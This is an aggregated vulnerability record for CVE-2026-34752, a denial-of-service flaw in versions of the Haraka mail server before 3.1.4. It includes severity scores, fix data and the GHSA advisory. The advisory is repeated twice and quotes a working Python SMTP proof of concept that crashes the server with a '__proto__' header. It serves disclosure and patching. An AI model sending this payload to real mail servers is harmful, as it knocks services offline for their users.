{"id":"CVE-2026-34752","aliases":["EUVD-2026-18509","GHSA-xph3-r2jf-4vp3"],"status":"published","title":"Haraka affected by DoS via `__proto__` email header","description":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00439,"percentile":0.38444,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-248"],"published":"2026-04-01T22:56:09Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"npm","package":"Haraka","fixed_in":["3.1.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"Haraka","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.3"},{"fixed":"3.1.4"}]}]},{"source":"osv","ecosystem":"npm","package":"Haraka","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.4"}]}]}],"products":[{"vendor":"haraka","product":"haraka"},{"vendor":"haraka_project","product":"haraka"}],"references":[{"url":"https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/haraka/Haraka/releases/tag/v3.1.4","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34752","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xph3-r2jf-4vp3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34752.json","tags":["advisory"]},{"url":"https://github.com/haraka/Haraka","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34752","title":"Haraka affected by DoS via `__proto__` email header","description":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","status":"published","published":"2026-04-02T18:42:38.367Z","modified":"2026-04-03T15:47:34.494Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-18509","description":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","status":"published","published":"2026-04-02T18:42:38Z","modified":"2026-04-03T15:47:34Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:25:16.92155Z"}],"ghsa":[{"id":"GHSA-xph3-r2jf-4vp3","title":"Haraka affected by DoS via `__proto__` email header","description":"### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) =\u003e {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) =\u003e logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:\u003cx@x.com\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:\u003cuser@haraka.local\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.","status":"published","published":"2026-04-01T22:56:09Z","modified":"2026-04-06T17:32:42Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34752","description":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","status":"published","published":"2026-04-02T19:21:33.517Z","modified":"2026-10-06T22:10:00.247Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34752","title":"Haraka affected by DoS via `__proto__` email header","description":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","status":"published","published":"2026-04-02T18:42:38.367Z","modified":"2026-10-28T02:30:41.290416705Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-xph3-r2jf-4vp3","title":"Haraka affected by DoS via `__proto__` email header","description":"### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) =\u003e {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) =\u003e logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:\u003cx@x.com\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:\u003cuser@haraka.local\u003e\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.","status":"published","published":"2026-04-01T22:56:09Z","modified":"2026-04-06T17:56:38.130744Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}